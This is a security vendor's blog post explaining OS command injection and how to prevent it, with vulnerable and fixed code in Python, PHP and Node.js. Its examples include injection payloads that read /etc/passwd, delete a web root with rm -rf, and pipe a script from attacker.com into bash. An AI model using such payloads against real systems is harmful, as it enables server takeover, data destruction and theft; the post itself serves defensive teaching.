Skip to main content
Back to blog
April 28, 2026|8 min read|Antoine Duno

Command Injection Prevention: Stop OS Injection Attacks

Command injection vulnerabilities allow attackers to execute arbitrary operating system commands on your server by injecting shell metacharacters into user input. This guide covers how command injection works, real examples, and bulletproof prevention techniques.

ZeriFlow Team

1,420 words

Command Injection Prevention: Stop OS Injection Attacks

Command injection is a critical web security vulnerability that allows an attacker to execute arbitrary operating system commands on the server by passing shell metacharacters through application input fields. When successful, command injection typically results in complete server compromise — an attacker gains the same system access as the web server process, which often includes access to databases, configuration files, and the ability to pivot further into the network.

[Scan your web application with ZeriFlow](https://zeriflow.com) — free security scanner covering 80+ vulnerability checks.


How Command Injection Works

Applications often need to execute system commands as part of their functionality: pinging a host, converting a file, running a script, or processing an image. When user input is incorporated into these commands without proper sanitization, it creates a command injection vulnerability.

Classic Command Injection

python
# VULNERABLE Python code
import subprocess, os

def ping_host(hostname):
    # User supplies the hostname
    result = os.system(f'ping -c 3 {hostname}')
    return result

An attacker submits: 8.8.8.8; cat /etc/passwd

The system executes:

bash
ping -c 3 8.8.8.8; cat /etc/passwd

The ; terminates the ping command and starts a new one. The server returns the contents of /etc/passwd.

Shell Metacharacters Attackers Use

CharacterEffect
;Execute next command unconditionally
&&Execute next command if first succeeds
`\\`Execute next command if first fails
`\`Pipe output to next command
$() or ` ``Command substitution

PHP Command Injection

php
// VULNERABLE
<?php
$file = $_GET['file'];
$output = shell_exec("convert $file output.pdf");
echo $output;
?>

Attack: ?file=input.jpg$(whoami > /var/www/html/pwned.txt)

This writes the current user to a web-accessible file.


Real-World Command Injection Scenarios

Image Processing

python
# VULNERABLE
def resize_image(filename, width, height):
    cmd = f'convert {filename} -resize {width}x{height} output.jpg'
    subprocess.call(cmd, shell=True)  # shell=True is the danger

The width or height parameter might be user-supplied. Attack: 100; rm -rf /var/www/html/

Network Diagnostic Tools

Applications that expose ping, traceroute, nslookup, or whois functionality are classic injection targets:

php
// Classic vulnerable "network tool" in PHP
$host = $_POST['host'];
$result = shell_exec("nslookup " . $host);

Attack: google.com && id && uname -a

Git Operations

Applications that run git commands based on user input:

python
# VULNERABLE
branch_name = request.form['branch']
os.system(f'git checkout {branch_name}')

Attack: main; curl http://attacker.com/shell.sh | bash


The Root Cause: shell=True and String Interpolation

In Python, the most common cause of command injection is using subprocess with shell=True and string interpolation:

python
# DANGEROUS
subprocess.call(f'ping -c 3 {user_input}', shell=True)
subprocess.Popen(f'convert {filename}', shell=True)
os.system(f'tar -czf backup.tar.gz {directory}')

When shell=True, Python passes the command string to the shell (/bin/sh -c), which interprets all metacharacters. The string interpolation embeds user input directly into the shell command.


Prevention: Never Use Shell=True with User Input

The primary fix: pass command arguments as a list, avoiding shell interpretation entirely.

python
# SECURE: use list, shell=False (default)
import subprocess

def ping_host(hostname):
    # Validate hostname format first
    import re
    if not re.match(r'^[a-zA-Z0-9.-]+$', hostname):
        raise ValueError('Invalid hostname')
    
    result = subprocess.run(
        ['ping', '-c', '3', hostname],  # list of args, no shell
        capture_output=True,
        text=True,
        timeout=10
    )
    return result.stdout

When you pass a list to subprocess.run() with shell=False (the default), Python uses execve() directly — the OS passes arguments to the program without any shell interpretation. Metacharacters in hostname are passed literally to ping, which rejects them as invalid hostnames.

Node.js

javascript
// VULNERABLE
const { exec } = require('child_process');
exec(`convert ${filename} output.pdf`, (err, stdout) => { ... });

// SECURE: use execFile (no shell) or spawn with array args
const { execFile } = require('child_process');
execFile('convert', [filename, 'output.pdf'], (err, stdout) => { ... });

// Or spawn:
const { spawn } = require('child_process');
const proc = spawn('ping', ['-c', '3', hostname]);

execFile and spawn don't invoke a shell by default — they call execve() directly.

PHP

php
// SECURE: use escapeshellarg() for each argument
$hostname = escapeshellarg($_GET['hostname']);
$output = shell_exec("ping -c 3 $hostname");

// Even better: use exec() with array args
$args = ['-c', '3', $_GET['hostname']];
// But PHP has no equivalent to Python's subprocess list mode
// Validate input strictly and use escapeshellarg

Note: escapeshellarg() wraps the argument in single quotes and escapes internal single quotes. This neutralizes most injection, but the safest approach in PHP is still strict input validation + escapeshellarg().


Input Validation as Defense-in-Depth

Even when using parameterized subprocess calls, validate input format strictly:

python
import re

HOSTNAME_PATTERN = re.compile(r'^[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$')

def validate_hostname(hostname):
    if not hostname or len(hostname) > 253:
        raise ValueError('Invalid hostname length')
    if not HOSTNAME_PATTERN.match(hostname):
        raise ValueError('Invalid hostname format')
    return hostname

FILENAME_PATTERN = re.compile(r'^[a-zA-Z0-9_.-]+$')

def validate_filename(filename):
    if not FILENAME_PATTERN.match(filename):
        raise ValueError('Invalid filename')
    if '..' in filename or '/' in filename:
        raise ValueError('Path traversal in filename')
    return filename

Allowlist-based validation — only permit characters that are valid for the intended input type.


Avoiding Shell Commands Entirely

The most robust prevention: don't call shell commands at all. Use native libraries instead:

Shell CommandLibrary Alternative
pingsocket.connect() or ICMP library
convert (ImageMagick)Pillow (Python), Sharp (Node.js)
tar, zipBuilt-in zipfile, tarfile modules
curl, wgetrequests, urllib, axios, fetch
gitgitpython library
ffmpegffmpeg-python bindings

Using library APIs eliminates the shell entirely — there's no injection surface.


FAQ

Q: Does parameterized subprocess (list mode) completely prevent command injection?

A: Yes, for direct command injection via shell metacharacters. When you pass arguments as a list and use shell=False, the OS bypasses the shell entirely — metacharacters have no special meaning. However, you still need to validate that filenames don't contain path traversal sequences, and that hostnames/IPs are valid formats. The argument handling is safe; the semantic meaning of the argument may still need validation.

Q: What's the difference between command injection and SQL injection?

A: Both involve injecting malicious input into an interpreter. SQL injection targets database query parsers; command injection targets the OS shell. Command injection is often considered more severe because shell access typically provides more capabilities (file system, network, processes) than database access alone, though SQL injection to DBA accounts can also lead to OS command execution via features like xp_cmdshell in MSSQL.

Q: Is escapeshellcmd() sufficient in PHP?

A: escapeshellcmd() is designed for the entire command string, while escapeshellarg() is for individual arguments. Neither is a substitute for proper architecture. escapeshellcmd() escapes characters like &, ;, |, etc., but it's easy to misuse. Prefer escapeshellarg() on each argument, or better yet, avoid shell execution entirely.

Q: How can I detect command injection in my application logs?

A: Look for shell metacharacters in parameter values: ;, &&, ||, |, $(, ` `, >, <`. Set up WAF rules or application-level logging to flag requests containing these characters in fields expected to contain hostnames, filenames, or IDs. Alert on anomalous patterns like base64 strings in those fields, which often indicate encoded payloads.

Q: Does ZeriFlow detect command injection vulnerabilities?

A: ZeriFlow performs passive scanning and identifies misconfigurations that increase command injection risk — such as exposed admin panels, debug endpoints, server version disclosure, and missing security headers. For active command injection testing, combine ZeriFlow's free scan with dynamic application testing tools like Burp Suite's active scanner.


Conclusion

Command injection is catastrophic when exploited — immediate shell access, data exfiltration, persistent backdoors, and lateral movement. Yet the root cause is consistently the same: concatenating user input into shell commands.

The fix is architectural, not cosmetic: use list-mode subprocess invocations instead of shell strings, validate all inputs against strict allowlists, and prefer native library APIs over shell commands wherever possible. These changes are straightforward and immediately effective.

[Scan your application with ZeriFlow](https://zeriflow.com) to check your security headers, server configuration, and exposure indicators — free, instant, no account required. Combine it with a thorough code review of every os.system(), shell_exec(), and exec() call in your codebase.

Every shell command is a potential injection point. Review them all.

Ready to check your site?

Run a free security scan in 30 seconds.

Related articles

Keep reading